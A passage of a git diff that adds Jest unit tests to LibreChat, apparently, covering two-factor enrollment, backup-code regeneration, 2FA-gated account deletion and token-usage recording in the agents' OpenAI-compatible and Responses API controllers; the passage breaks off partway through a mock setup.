mockUpdateUser = jest.fn(); +const mockVerifyOTPOrBackupCode = jest.fn(); +const mockGenerateTOTPSecret = jest.fn(); +const mockGenerateBackupCodes = jest.fn(); +const mockEncryptV3 = jest.fn(); + +jest.mock('@librechat/data-schemas', () => ({ + encryptV3: (...args) => mockEncryptV3(...args), + logger: { error: jest.fn() }, +})); + +jest.mock('~/server/services/twoFactorService', () => ({ + verifyOTPOrBackupCode: (...args) => mockVerifyOTPOrBackupCode(...args), + generateBackupCodes: (...args) => mockGenerateBackupCodes(...args), + generateTOTPSecret: (...args) => mockGenerateTOTPSecret(...args), + verifyBackupCode: jest.fn(), + getTOTPSecret: jest.fn(), + verifyTOTP: jest.fn(), +})); + +jest.mock('~/models', () => ({ + getUserById: (...args) => mockGetUserById(...args), + updateUser: (...args) => mockUpdateUser(...args), +})); + +const { enable2FA, regenerateBackupCodes } = require('~/server/controllers/TwoFactorController'); + +function createRes() { + const res = {}; + res.status = jest.fn().mockReturnValue(res); + res.json = jest.fn().mockReturnValue(res); + return res; +} + +const PLAIN_CODES = ['code1', 'code2', 'code3']; +const CODE_OBJECTS = [ + { codeHash: 'h1', used: false, usedAt: null }, + { codeHash: 'h2', used: false, usedAt: null }, + { codeHash: 'h3', used: false, usedAt: null }, +]; + +beforeEach(() => { + jest.clearAllMocks(); + mockGenerateTOTPSecret.mockReturnValue('NEWSECRET'); + mockGenerateBackupCodes.mockResolvedValue({ plainCodes: PLAIN_CODES, codeObjects: CODE_OBJECTS }); + mockEncryptV3.mockReturnValue('encrypted-secret'); +}); + +describe('enable2FA', () => { + it('allows first-time setup without token — writes to pending fields', async () => { + const req = { user: { id: 'user1' }, body: {} }; + const res = createRes(); + mockGetUserById.mockResolvedValue({ _id: 'user1', twoFactorEnabled: false, email: 'a@b.com' }); + mockUpdateUser.mockResolvedValue({ email: 'a@b.com' }); + + await enable2FA(req, res); + + expect(res.status).toHaveBeenCalledWith(200); + expect(res.json).toHaveBeenCalledWith( + expect.objectContaining({ otpauthUrl: expect.any(String), backupCodes: PLAIN_CODES }), + ); + expect(mockVerifyOTPOrBackupCode).not.toHaveBeenCalled(); + const updateCall = mockUpdateUser.mock.calls[0][1]; + expect(updateCall).toHaveProperty('pendingTotpSecret', 'encrypted-secret'); + expect(updateCall).toHaveProperty('pendingBackupCodes', CODE_OBJECTS); + expect(updateCall).not.toHaveProperty('twoFactorEnabled'); + expect(updateCall).not.toHaveProperty('totpSecret'); + expect(updateCall).not.toHaveProperty('backupCodes'); + }); + + it('re-enrollment writes to pending fields, leaving live 2FA intact', async () => { + const req = { user: { id: 'user1' }, body: { token: '123456' } }; + const res = createRes(); + const existingUser = { + _id: 'user1', + twoFactorEnabled: true, + totpSecret: 'enc-secret', + email: 'a@b.com', + }; + mockGetUserById.mockResolvedValue(existingUser); + mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true }); + mockUpdateUser.mockResolvedValue({ email: 'a@b.com' }); + + await enable2FA(req, res); + + expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({ + user: existingUser, + token: '123456', + backupCode: undefined, + persistBackupUse: false, + }); + expect(res.status).toHaveBeenCalledWith(200); + const updateCall = mockUpdateUser.mock.calls[0][1]; + expect(updateCall).toHaveProperty('pendingTotpSecret', 'encrypted-secret'); + expect(updateCall).toHaveProperty('pendingBackupCodes', CODE_OBJECTS); + expect(updateCall).not.toHaveProperty('twoFactorEnabled'); + expect(updateCall).not.toHaveProperty('totpSecret'); + }); + + it('allows re-enrollment with valid backup code (persistBackupUse: false)', async () => { + const req = { user: { id: 'user1' }, body: { backupCode: 'backup123' } }; + const res = createRes(); + const existingUser = { + _id: 'user1', + twoFactorEnabled: true, + totpSecret: 'enc-secret', + email: 'a@b.com', + }; + mockGetUserById.mockResolvedValue(existingUser); + mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true }); + mockUpdateUser.mockResolvedValue({ email: 'a@b.com' }); + + await enable2FA(req, res); + + expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith( + expect.objectContaining({ persistBackupUse: false }), + ); + expect(res.status).toHaveBeenCalledWith(200); + }); + + it('returns error when no token provided and 2FA is enabled', async () => { + const req = { user: { id: 'user1' }, body: {} }; + const res = createRes(); + mockGetUserById.mockResolvedValue({ + _id: 'user1', + twoFactorEnabled: true, + totpSecret: 'enc-secret', + }); + mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: false, status: 400 }); + + await enable2FA(req, res); + + expect(res.status).toHaveBeenCalledWith(400); + expect(mockUpdateUser).not.toHaveBeenCalled(); + }); + + it('returns 401 when invalid token provided and 2FA is enabled', async () => { + const req = { user: { id: 'user1' }, body: { token: 'wrong' } }; + const res = createRes(); + mockGetUserById.mockResolvedValue({ + _id: 'user1', + twoFactorEnabled: true, + totpSecret: 'enc-secret', + }); + mockVerifyOTPOrBackupCode.mockResolvedValue({ + verified: false, + status: 401, + message: 'Invalid token or backup code', + }); + + await enable2FA(req, res); + + expect(res.status).toHaveBeenCalledWith(401); + expect(res.json).toHaveBeenCalledWith({ message: 'Invalid token or backup code' }); + expect(mockUpdateUser).not.toHaveBeenCalled(); + }); +}); + +describe('regenerateBackupCodes', () => { + it('returns 404 when user not found', async () => { + const req = { user: { id: 'user1' }, body: {} }; + const res = createRes(); + mockGetUserById.mockResolvedValue(null); + + await regenerateBackupCodes(req, res); + + expect(res.status).toHaveBeenCalledWith(404); + expect(res.json).toHaveBeenCalledWith({ message: 'User not found' }); + }); + + it('requires OTP when 2FA is enabled', async () => { + const req = { user: { id: 'user1' }, body: { token: '123456' } }; + const res = createRes(); + mockGetUserById.mockResolvedValue({ + _id: 'user1', + twoFactorEnabled: true, + totpSecret: 'enc-secret', + }); + mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true }); + mockUpdateUser.mockResolvedValue({}); + + await regenerateBackupCodes(req, res); + + expect(mockVerifyOTPOrBackupCode).toHaveBeenCalled(); + expect(res.status).toHaveBeenCalledWith(200); + expect(res.json).toHaveBeenCalledWith({ + backupCodes: PLAIN_CODES, + backupCodesHash: CODE_OBJECTS, + }); + }); + + it('returns error when no token provided and 2FA is enabled', async () => { + const req = { user: { id: 'user1' }, body: {} }; + const res = createRes(); + mockGetUserById.mockResolvedValue({ + _id: 'user1', + twoFactorEnabled: true, + totpSecret: 'enc-secret', + }); + mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: false, status: 400 }); + + await regenerateBackupCodes(req, res); + + expect(res.status).toHaveBeenCalledWith(400); + }); + + it('returns 401 when invalid token provided and 2FA is enabled', async () => { + const req = { user: { id: 'user1' }, body: { token: 'wrong' } }; + const res = createRes(); + mockGetUserById.mockResolvedValue({ + _id: 'user1', + twoFactorEnabled: true, + totpSecret: 'enc-secret', + }); + mockVerifyOTPOrBackupCode.mockResolvedValue({ + verified: false, + status: 401, + message: 'Invalid token or backup code', + }); + + await regenerateBackupCodes(req, res); + + expect(res.status).toHaveBeenCalledWith(401); + expect(res.json).toHaveBeenCalledWith({ message: 'Invalid token or backup code' }); + }); + + it('includes backupCodesHash in response', async () => { + const req = { user: { id: 'user1' }, body: { token: '123456' } }; + const res = createRes(); + mockGetUserById.mockResolvedValue({ + _id: 'user1', + twoFactorEnabled: true, + totpSecret: 'enc-secret', + }); + mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true }); + mockUpdateUser.mockResolvedValue({}); + + await regenerateBackupCodes(req, res); + + const responseBody = res.json.mock.calls[0][0]; + expect(responseBody).toHaveProperty('backupCodesHash', CODE_OBJECTS); + expect(responseBody).toHaveProperty('backupCodes', PLAIN_CODES); + }); + + it('allows regeneration without token when 2FA is not enabled', async () => { + const req = { user: { id: 'user1' }, body: {} }; + const res = createRes(); + mockGetUserById.mockResolvedValue({ + _id: 'user1', + twoFactorEnabled: false, + }); + mockUpdateUser.mockResolvedValue({}); + + await regenerateBackupCodes(req, res); + + expect(mockVerifyOTPOrBackupCode).not.toHaveBeenCalled(); + expect(res.status).toHaveBeenCalledWith(200); + expect(res.json).toHaveBeenCalledWith({ + backupCodes: PLAIN_CODES, + backupCodesHash: CODE_OBJECTS, + }); + }); +}); diff --git a/api/server/controllers/__tests__/deleteUser.spec.js b/api/server/controllers/__tests__/deleteUser.spec.js new file mode 100644 index 0000000000..d0f54a046f --- /dev/null +++ b/api/server/controllers/__tests__/deleteUser.spec.js @@ -0,0 +1,302 @@ +const mockGetUserById = jest.fn(); +const mockDeleteMessages = jest.fn(); +const mockDeleteAllUserSessions = jest.fn(); +const mockDeleteUserById = jest.fn(); +const mockDeleteAllSharedLinks = jest.fn(); +const mockDeletePresets = jest.fn(); +const mockDeleteUserKey = jest.fn(); +const mockDeleteConvos = jest.fn(); +const mockDeleteFiles = jest.fn(); +const mockGetFiles = jest.fn(); +const mockUpdateUserPlugins = jest.fn(); +const mockUpdateUser = jest.fn(); +const mockFindToken = jest.fn(); +const mockVerifyOTPOrBackupCode = jest.fn(); +const mockDeleteUserPluginAuth = jest.fn(); +const mockProcessDeleteRequest = jest.fn(); +const mockDeleteToolCalls = jest.fn(); +const mockDeleteUserAgents = jest.fn(); +const mockDeleteUserPrompts = jest.fn(); + +jest.mock('@librechat/data-schemas', () => ({ + logger: { error: jest.fn(), info: jest.fn() }, + webSearchKeys: [], +})); + +jest.mock('librechat-data-provider', () => ({ + Tools: {}, + CacheKeys: {}, + Constants: { mcp_delimiter: '::', mcp_prefix: 'mcp_' }, + FileSources: {}, +})); + +jest.mock('@librechat/api', () => ({ + MCPOAuthHandler: {}, + MCPTokenStorage: {}, + normalizeHttpError: jest.fn(), + extractWebSearchEnvVars: jest.fn(), +})); + +jest.mock('~/models', () => ({ + deleteAllUserSessions: (...args) => mockDeleteAllUserSessions(...args), + deleteAllSharedLinks: (...args) => mockDeleteAllSharedLinks(...args), + updateUserPlugins: (...args) => mockUpdateUserPlugins(...args), + deleteUserById: (...args) => mockDeleteUserById(...args), + deleteMessages: (...args) => mockDeleteMessages(...args), + deletePresets: (...args) => mockDeletePresets(...args), + deleteUserKey: (...args) => mockDeleteUserKey(...args), + getUserById: (...args) => mockGetUserById(...args), + deleteConvos: (...args) => mockDeleteConvos(...args), + deleteFiles: (...args) => mockDeleteFiles(...args), + updateUser: (...args) => mockUpdateUser(...args), + findToken: (...args) => mockFindToken(...args), + getFiles: (...args) => mockGetFiles(...args), +})); + +jest.mock('~/db/models', () => ({ + ConversationTag: { deleteMany: jest.fn() }, + AgentApiKey: { deleteMany: jest.fn() }, + Transaction: { deleteMany: jest.fn() }, + MemoryEntry: { deleteMany: jest.fn() }, + Assistant: { deleteMany: jest.fn() }, + AclEntry: { deleteMany: jest.fn() }, + Balance: { deleteMany: jest.fn() }, + Action: { deleteMany: jest.fn() }, + Group: { updateMany: jest.fn() }, + Token: { deleteMany: jest.fn() }, + User: {}, +})); + +jest.mock('~/server/services/PluginService', () => ({ + updateUserPluginAuth: jest.fn(), + deleteUserPluginAuth: (...args) => mockDeleteUserPluginAuth(...args), +})); + +jest.mock('~/server/services/twoFactorService', () => ({ + verifyOTPOrBackupCode: (...args) => mockVerifyOTPOrBackupCode(...args), +})); + +jest.mock('~/server/services/AuthService', () => ({ + verifyEmail: jest.fn(), + resendVerificationEmail: jest.fn(), +})); + +jest.mock('~/config', () => ({ + getMCPManager: jest.fn(), + getFlowStateManager: jest.fn(), + getMCPServersRegistry: jest.fn(), +})); + +jest.mock('~/server/services/Config/getCachedTools', () => ({ + invalidateCachedTools: jest.fn(), +})); + +jest.mock('~/server/services/Files/S3/crud', () => ({ + needsRefresh: jest.fn(), + getNewS3URL: jest.fn(), +})); + +jest.mock('~/server/services/Files/process', () => ({ + processDeleteRequest: (...args) => mockProcessDeleteRequest(...args), +})); + +jest.mock('~/server/services/Config', () => ({ + getAppConfig: jest.fn(), +})); + +jest.mock('~/models/ToolCall', () => ({ + deleteToolCalls: (...args) => mockDeleteToolCalls(...args), +})); + +jest.mock('~/models/Prompt', () => ({ + deleteUserPrompts: (...args) => mockDeleteUserPrompts(...args), +})); + +jest.mock('~/models/Agent', () => ({ + deleteUserAgents: (...args) => mockDeleteUserAgents(...args), +})); + +jest.mock('~/cache', () => ({ + getLogStores: jest.fn(), +})); + +const { deleteUserController } = require('~/server/controllers/UserController'); + +function createRes() { + const res = {}; + res.status = jest.fn().mockReturnValue(res); + res.json = jest.fn().mockReturnValue(res); + res.send = jest.fn().mockReturnValue(res); + return res; +} + +function stubDeletionMocks() { + mockDeleteMessages.mockResolvedValue(); + mockDeleteAllUserSessions.mockResolvedValue(); + mockDeleteUserKey.mockResolvedValue(); + mockDeletePresets.mockResolvedValue(); + mockDeleteConvos.mockResolvedValue(); + mockDeleteUserPluginAuth.mockResolvedValue(); + mockDeleteUserById.mockResolvedValue(); + mockDeleteAllSharedLinks.mockResolvedValue(); + mockGetFiles.mockResolvedValue([]); + mockProcessDeleteRequest.mockResolvedValue(); + mockDeleteFiles.mockResolvedValue(); + mockDeleteToolCalls.mockResolvedValue(); + mockDeleteUserAgents.mockResolvedValue(); + mockDeleteUserPrompts.mockResolvedValue(); +} + +beforeEach(() => { + jest.clearAllMocks(); + stubDeletionMocks(); +}); + +describe('deleteUserController - 2FA enforcement', () => { + it('proceeds with deletion when 2FA is not enabled', async () => { + const req = { user: { id: 'user1', _id: 'user1', email: 'a@b.com' }, body: {} }; + const res = createRes(); + mockGetUserById.mockResolvedValue({ _id: 'user1', twoFactorEnabled: false }); + + await deleteUserController(req, res); + + expect(res.status).toHaveBeenCalledWith(200); + expect(res.send).toHaveBeenCalledWith({ message: 'User deleted' }); + expect(mockDeleteMessages).toHaveBeenCalled(); + expect(mockVerifyOTPOrBackupCode).not.toHaveBeenCalled(); + }); + + it('proceeds with deletion when user has no 2FA record', async () => { + const req = { user: { id: 'user1', _id: 'user1', email: 'a@b.com' }, body: {} }; + const res = createRes(); + mockGetUserById.mockResolvedValue(null); + + await deleteUserController(req, res); + + expect(res.status).toHaveBeenCalledWith(200); + expect(res.send).toHaveBeenCalledWith({ message: 'User deleted' }); + }); + + it('returns error when 2FA is enabled and verification fails with 400', async () => { + const req = { user: { id: 'user1', _id: 'user1' }, body: {} }; + const res = createRes(); + mockGetUserById.mockResolvedValue({ + _id: 'user1', + twoFactorEnabled: true, + totpSecret: 'enc-secret', + }); + mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: false, status: 400 }); + + await deleteUserController(req, res); + + expect(res.status).toHaveBeenCalledWith(400); + expect(mockDeleteMessages).not.toHaveBeenCalled(); + }); + + it('returns 401 when 2FA is enabled and invalid TOTP token provided', async () => { + const existingUser = { + _id: 'user1', + twoFactorEnabled: true, + totpSecret: 'enc-secret', + }; + const req = { user: { id: 'user1', _id: 'user1' }, body: { token: 'wrong' } }; + const res = createRes(); + mockGetUserById.mockResolvedValue(existingUser); + mockVerifyOTPOrBackupCode.mockResolvedValue({ + verified: false, + status: 401, + message: 'Invalid token or backup code', + }); + + await deleteUserController(req, res); + + expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({ + user: existingUser, + token: 'wrong', + backupCode: undefined, + }); + expect(res.status).toHaveBeenCalledWith(401); + expect(res.json).toHaveBeenCalledWith({ message: 'Invalid token or backup code' }); + expect(mockDeleteMessages).not.toHaveBeenCalled(); + }); + + it('returns 401 when 2FA is enabled and invalid backup code provided', async () => { + const existingUser = { + _id: 'user1', + twoFactorEnabled: true, + totpSecret: 'enc-secret', + backupCodes: [], + }; + const req = { user: { id: 'user1', _id: 'user1' }, body: { backupCode: 'bad-code' } }; + const res = createRes(); + mockGetUserById.mockResolvedValue(existingUser); + mockVerifyOTPOrBackupCode.mockResolvedValue({ + verified: false, + status: 401, + message: 'Invalid token or backup code', + }); + + await deleteUserController(req, res); + + expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({ + user: existingUser, + token: undefined, + backupCode: 'bad-code', + }); + expect(res.status).toHaveBeenCalledWith(401); + expect(mockDeleteMessages).not.toHaveBeenCalled(); + }); + + it('deletes account when valid TOTP token provided with 2FA enabled', async () => { + const existingUser = { + _id: 'user1', + twoFactorEnabled: true, + totpSecret: 'enc-secret', + }; + const req = { + user: { id: 'user1', _id: 'user1', email: 'a@b.com' }, + body: { token: '123456' }, + }; + const res = createRes(); + mockGetUserById.mockResolvedValue(existingUser); + mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true }); + + await deleteUserController(req, res); + + expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({ + user: existingUser, + token: '123456', + backupCode: undefined, + }); + expect(res.status).toHaveBeenCalledWith(200); + expect(res.send).toHaveBeenCalledWith({ message: 'User deleted' }); + expect(mockDeleteMessages).toHaveBeenCalled(); + }); + + it('deletes account when valid backup code provided with 2FA enabled', async () => { + const existingUser = { + _id: 'user1', + twoFactorEnabled: true, + totpSecret: 'enc-secret', + backupCodes: [{ codeHash: 'h1', used: false }], + }; + const req = { + user: { id: 'user1', _id: 'user1', email: 'a@b.com' }, + body: { backupCode: 'valid-code' }, + }; + const res = createRes(); + mockGetUserById.mockResolvedValue(existingUser); + mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true }); + + await deleteUserController(req, res); + + expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({ + user: existingUser, + token: undefined, + backupCode: 'valid-code', + }); + expect(res.status).toHaveBeenCalledWith(200); + expect(res.send).toHaveBeenCalledWith({ message: 'User deleted' }); + expect(mockDeleteMessages).toHaveBeenCalled(); + }); +}); diff --git a/api/server/controllers/agents/__tests__/callbacks.spec.js b/api/server/controllers/agents/__tests__/callbacks.spec.js index 7922c31efa..8bd711f9c6 100644 --- a/api/server/controllers/agents/__tests__/callbacks.spec.js +++ b/api/server/controllers/agents/__tests__/callbacks.spec.js @@ -16,13 +16,10 @@ jest.mock('@librechat/data-schemas', () => ({ })); jest.mock('@librechat/agents', () => ({ - EnvVar: { CODE_API_KEY: 'CODE_API_KEY' }, - Providers: { GOOGLE: 'google' }, - GraphEvents: {}, + ...jest.requireActual('@librechat/agents'), getMessageId: jest.fn(), ToolEndHandler: jest.fn(), handleToolCalls: jest.fn(), - ChatModelStreamHandler: jest.fn(), })); jest.mock('~/server/services/Files/Citations', () => ({ diff --git a/api/server/controllers/agents/__tests__/openai.spec.js b/api/server/controllers/agents/__tests__/openai.spec.js new file mode 100644 index 0000000000..835343e798 --- /dev/null +++ b/api/server/controllers/agents/__tests__/openai.spec.js @@ -0,0 +1,229 @@ +/** + * Unit tests for OpenAI-compatible API controller + * Tests that recordCollectedUsage is called correctly for token spending + */ + +const mockSpendTokens = jest.fn().mockResolvedValue({}); +const mockSpendStructuredTokens = jest.fn().mockResolvedValue({}); +const mockRecordCollectedUsage = jest + .fn() + .mockResolvedValue({ input_tokens: 100, output_tokens: 50 }); +const mockGetBalanceConfig = jest.fn().mockReturnValue({ enabled: true }); +const mockGetTransactionsConfig = jest.fn().mockReturnValue({ enabled: true }); + +jest.mock('nanoid', () => ({ + nanoid: jest.fn(() => 'mock-nanoid-123'), +})); + +jest.mock('@librechat/data-schemas', () => ({ + logger: { + debug: jest.fn(), + error: jest.fn(), + warn: jest.fn(), + }, +})); + +jest.mock('@librechat/agents', () => ({ + Callback: { TOOL_ERROR: 'TOOL_ERROR' }, + ToolEndHandler: jest.fn(), + formatAgentMessages: jest.fn().mockReturnValue({ + messages: [], + indexTokenCountMap: {}, + }), +})); + +jest.mock('@librechat/api', () => ({ + writeSSE: jest.fn(), + createRun: jest.fn().mockResolvedValue({ + processStream: jest.fn().mockResolvedValue(undefined), + }), + createChunk: jest.fn().mockReturnValue({}), + buildToolSet: jest.fn().mockReturnValue(new Set()), + sendFinalChunk: jest.fn(), + createSafeUser: jest.fn().mockReturnValue({ id: 'user-123' }), + validateRequest: jest + .fn() + .mockReturnValue({ request: { model: 'agent-123', messages: [], stream: false } }), + initializeAgent: jest.fn().mockResolvedValue({ + model: 'gpt-4', + model_parameters: {}, + toolRegistry: {}, + }), + getBalanceConfig: mockGetBalanceConfig, + createErrorResponse: jest.fn(), + getTransactionsConfig: mockGetTransactionsConfig, + recordCollectedUsage: mockRecordCollectedUsage, + buildNonStreamingResponse: jest.fn().mockReturnValue({ id: 'resp-123' }), + createOpenAIStreamTracker: jest.fn().mockReturnValue({ + addText: jest.fn(), + addReasoning: jest.fn(), + toolCalls: new Map(), + usage: { promptTokens: 0, completionTokens: 0, reasoningTokens: 0 }, + }), + createOpenAIContentAggregator: jest.fn().mockReturnValue({ + addText: jest.fn(), + addReasoning: jest.fn(), + getText: jest.fn().mockReturnValue(''), + getReasoning: jest.fn().mockReturnValue(''), + toolCalls: new Map(), + usage: { promptTokens: 100, completionTokens: 50, reasoningTokens: 0 }, + }), + createToolExecuteHandler: jest.fn().mockReturnValue({ handle: jest.fn() }), + isChatCompletionValidationFailure: jest.fn().mockReturnValue(false), +})); + +jest.mock('~/server/services/ToolService', () => ({ + loadAgentTools: jest.fn().mockResolvedValue([]), + loadToolsForExecution: jest.fn().mockResolvedValue([]), +})); + +jest.mock('~/models/spendTokens', () => ({ + spendTokens: mockSpendTokens, + spendStructuredTokens: mockSpendStructuredTokens, +})); + +const mockGetMultiplier = jest.fn().mockReturnValue(1); +const mockGetCacheMultiplier = jest.fn().mockReturnValue(null); +jest.mock('~/models/tx', () => ({ + getMultiplier: mockGetMultiplier, + getCacheMultiplier: mockGetCacheMultiplier, +})); + +jest.mock('~/server/controllers/agents/callbacks', () => ({ + createToolEndCallback: jest.fn().mockReturnValue(jest.fn()), +})); + +jest.mock('~/server/services/PermissionService', () => ({ + findAccessibleResources: jest.fn().mockResolvedValue([]), +})); + +jest.mock('~/models/Conversation', () => ({ + getConvoFiles: jest.fn().mockResolvedValue([]), +})); + +jest.mock('~/models/Agent', () => ({ + getAgent: jest.fn().mockResolvedValue({ + id: 'agent-123', + provider: 'openAI', + model_parameters: { model: 'gpt-4' }, + }), + getAgents: jest.fn().mockResolvedValue([]), +})); + +const mockUpdateBalance = jest.fn().mockResolvedValue({}); +const mockBulkInsertTransactions = jest.fn().mockResolvedValue(undefined); +jest.mock('~/models', () => ({ + getFiles: jest.fn(), + getUserKey: jest.fn(), + getMessages: jest.fn(), + updateFilesUsage: jest.fn(), + getUserKeyValues: jest.fn(), + getUserCodeFiles: jest.fn(), + getToolFilesByIds: jest.fn(), + getCodeGeneratedFiles: jest.fn(), + updateBalance: mockUpdateBalance, + bulkInsertTransactions: mockBulkInsertTransactions, +})); + +describe('OpenAIChatCompletionController', () => { + let OpenAIChatCompletionController; + let req, res; + + beforeEach(() => { + jest.clearAllMocks(); + + const controller = require('../openai'); + OpenAIChatCompletionController = controller.OpenAIChatCompletionController; + + req = { + body: { + model: 'agent-123', + messages: [{ role: 'user', content: 'Hello' }], + stream: false, + }, + user: { id: 'user-123' }, + config: { + endpoints: { + agents: { allowedProviders: ['openAI'] }, + }, + }, + on: jest.fn(), + }; + + res = { + status: jest.fn().mockReturnThis(), + json: jest.fn(), + setHeader: jest.fn(), + flushHeaders: jest.fn(), + end: jest.fn(), + write: jest.fn(), + }; + }); + + describe('token usage recording', () => { + it('should call recordCollectedUsage after successful non-streaming completion', async () => { + await OpenAIChatCompletionController(req, res); + + expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1); + expect(mockRecordCollectedUsage).toHaveBeenCalledWith( + { + spendTokens: mockSpendTokens, + spendStructuredTokens: mockSpendStructuredTokens, + pricing: { getMultiplier: mockGetMultiplier, getCacheMultiplier: mockGetCacheMultiplier }, + bulkWriteOps: { + insertMany: mockBulkInsertTransactions, + updateBalance: mockUpdateBalance, + }, + }, + expect.objectContaining({ + user: 'user-123', + conversationId: expect.any(String), + collectedUsage: expect.any(Array), + context: 'message', + balance: { enabled: true }, + transactions: { enabled: true }, + }), + ); + }); + + it('should pass balance and transactions config to recordCollectedUsage', async () => { + mockGetBalanceConfig.mockReturnValue({ enabled: true, startBalance: 1000 }); + mockGetTransactionsConfig.mockReturnValue({ enabled: true, rateLimit: 100 }); + + await OpenAIChatCompletionController(req, res); + + expect(mockRecordCollectedUsage).toHaveBeenCalledWith( + expect.any(Object), + expect.objectContaining({ + balance: { enabled: true, startBalance: 1000 }, + transactions: { enabled: true, rateLimit: 100 }, + }), + ); + }); + + it('should pass spendTokens, spendStructuredTokens, pricing, and bulkWriteOps as dependencies', async () => { + await OpenAIChatCompletionController(req, res); + + const [deps] = mockRecordCollectedUsage.mock.calls[0]; + expect(deps).toHaveProperty('spendTokens', mockSpendTokens); + expect(deps).toHaveProperty('spendStructuredTokens', mockSpendStructuredTokens); + expect(deps).toHaveProperty('pricing'); + expect(deps.pricing).toHaveProperty('getMultiplier', mockGetMultiplier); + expect(deps.pricing).toHaveProperty('getCacheMultiplier', mockGetCacheMultiplier); + expect(deps).toHaveProperty('bulkWriteOps'); + expect(deps.bulkWriteOps).toHaveProperty('insertMany', mockBulkInsertTransactions); + expect(deps.bulkWriteOps).toHaveProperty('updateBalance', mockUpdateBalance); + }); + + it('should include model from primaryConfig in recordCollectedUsage params', async () => { + await OpenAIChatCompletionController(req, res); + + expect(mockRecordCollectedUsage).toHaveBeenCalledWith( + expect.any(Object), + expect.objectContaining({ + model: 'gpt-4', + }), + ); + }); + }); +}); diff --git a/api/server/controllers/agents/__tests__/responses.unit.spec.js b/api/server/controllers/agents/__tests__/responses.unit.spec.js new file mode 100644 index 0000000000..45ec31fc68 --- /dev/null +++ b/api/server/controllers/agents/__tests__/responses.unit.spec.js @@ -0,0 +1,345 @@ +/** + * Unit tests for Open Responses API controller + * Tests that recordCollectedUsage is called correctly for token spending + */ + +const mockSpendTokens = jest.fn().mockResolvedValue({}); +const mockSpendStructuredTokens = jest.fn().mockResolvedValue({}); +const mockRecordCollectedUsage = jest + .fn() + .mockResolvedValue({ input_tokens: 100, output_tokens: 50 }); +const mockGetBalanceConfig = jest.fn().mockReturnValue({ enabled: true }); +const mockGetTransactionsConfig = jest.fn().mockReturnValue({ enabled: true }); + +jest.mock('nanoid', () => ({ + nanoid: jest.fn(() => 'mock-nanoid-123'), +})); + +jest.mock('uuid', () => ({ + v4: jest.fn(() => 'mock-uuid-456'), +})); + +jest.mock('@librechat/data-schemas', () => ({ + logger: { + debug: jest.fn(), + error: jest.fn(), + warn: jest.fn(), + }, +})); + +jest.mock('@librechat/agents', () => ({ + Callback: { TOOL_ERROR: 'TOOL_ERROR' }, + ToolEndHandler: jest.fn(), + formatAgentMessages: jest.fn().mockReturnValue({ + messages: [], + indexTokenCountMap: {}, + }), +})); + +jest.mock('@librechat/api', () => ({ + createRun: jest.fn().mockResolvedValue({ + processStream: jest.fn().mockResolvedValue(undefined), + }), + buildToolSet: jest.fn().mockReturnValue(new Set()), + createSafeUser: jest.fn().mockReturnValue({ id: 'user-123' }), + initializeAgent: jest.fn().mockResolvedValue({ + model: 'claude-3', + model_parameters: {}, + toolRegistry: {}, + }), + getBalanceConfig: mockGetBalanceConfig, + getTransactionsConfig: mockGetTransactionsConfig, + recordCollectedUsage: mockRecordCollectedUsage, + createToolExecuteHandler: jest.fn().mockReturnValue({ handle: jest.fn() }), + // Responses API + writeDone: jest.fn(), + buildResponse: jest.fn().mockReturnValue({ id: 'resp_123', output: [] }), + generateResponseId: jest.fn().mockReturnValue('resp_mock-123'), + isValidationFailure: jest.fn().mockReturnValue(false), + emitResponseCreated: jest.fn(), + createResponseContext: jest.fn().mockReturnValue({ responseId: 'resp_123' }), + createResponseTracker: jest.fn().mockReturnValue({ + usage: { promptTokens: 100, completionTokens: 50 }, + }), + setupStreamingResponse: jest.fn(), + emitResponseInProgress: jest.fn(), + convertInputToMessages: jest.fn().mockReturnValue([]), + validateResponseRequest: jest.fn().mockReturnValue({ + request: { model: 'agent-123', input: 'Hello', stream: false }, + }), + buildAggregatedResponse: jest.fn().mockReturnValue({ + id: 'resp_123', + status: 'completed', + output: [], + usage: { input_tokens: 100, output_tokens: 50, total_tokens: 150 }, + }), + createResponseAggregator: jest.fn().mockReturnValue({ + usage: { promptTokens: 100, completionTokens: 50 }, + }), + sendResponsesErrorResponse: jest.fn(), + createResponsesEventHandlers: jest.fn().mockReturnValue({ + handlers: { + on_message_delta: { handle: jest.fn() }, + on_reasoning_delta: { handle: jest.fn() }, + on_run_step: { handle: jest.fn() }, + on_run_step_delta: { handle: jest.fn() }, + on_chat_model_end: { handle: jest.fn() }, + }, + finalizeStream: jest.fn(), + }), + createAggregatorEventHandlers: jest.fn().mockReturnValue({ + on_message_delta: { handle: jest.fn() }, + on_reasoning_delta: { handle: jest.fn() }, + on_run_step: { handle: jest.fn() }, + on_run_step_delta: { handle: jest.fn() }, + on_chat_model_end: { handle: jest.fn() }, + }), +})); + +jest.mock('~/server/services/ToolService', () => ({ + loadAgentTools: jest.fn().mockResolvedValue([]), + loadToolsForExecution: jest.fn().mockResolvedValue([]), +})); + +jest.mock('~/models/spendTokens', () => ({ + spendTokens: mockSpendTokens, + spendStructuredTokens: mockSpendStructuredTokens, +})); + +const mockGetMultiplier = jest.fn().mockReturnValue(1); +const mockGetCacheMultiplier = jest.fn().mockReturnValue(null); +jest.mock('~/models/tx', () => ({ + getMultiplier: mockGetMultiplier, + getCacheMultiplier: mockGetCacheMultiplier, +})); + +jest.mock('~/server/controllers/agents/callbacks', () => ({ + createToolEndCallback: jest.fn().mockReturnValue(jest.fn()), + createResponsesToolEndCallback: jest.fn().mockReturnValue(jest.fn()), +})); + +jest.mock('~/server/services/PermissionService', () => ({ + findAccessibleResources: jest.fn().mockResolvedValue([]), +})); + +jest.mock('~/models/Conversation', () => ({ + getConvoFiles: jest.fn().mockResolvedValue([]), + saveConvo: jest.fn().mockResolvedValue({}), + getConvo: jest.fn().mockResolvedValue(null), +})); + 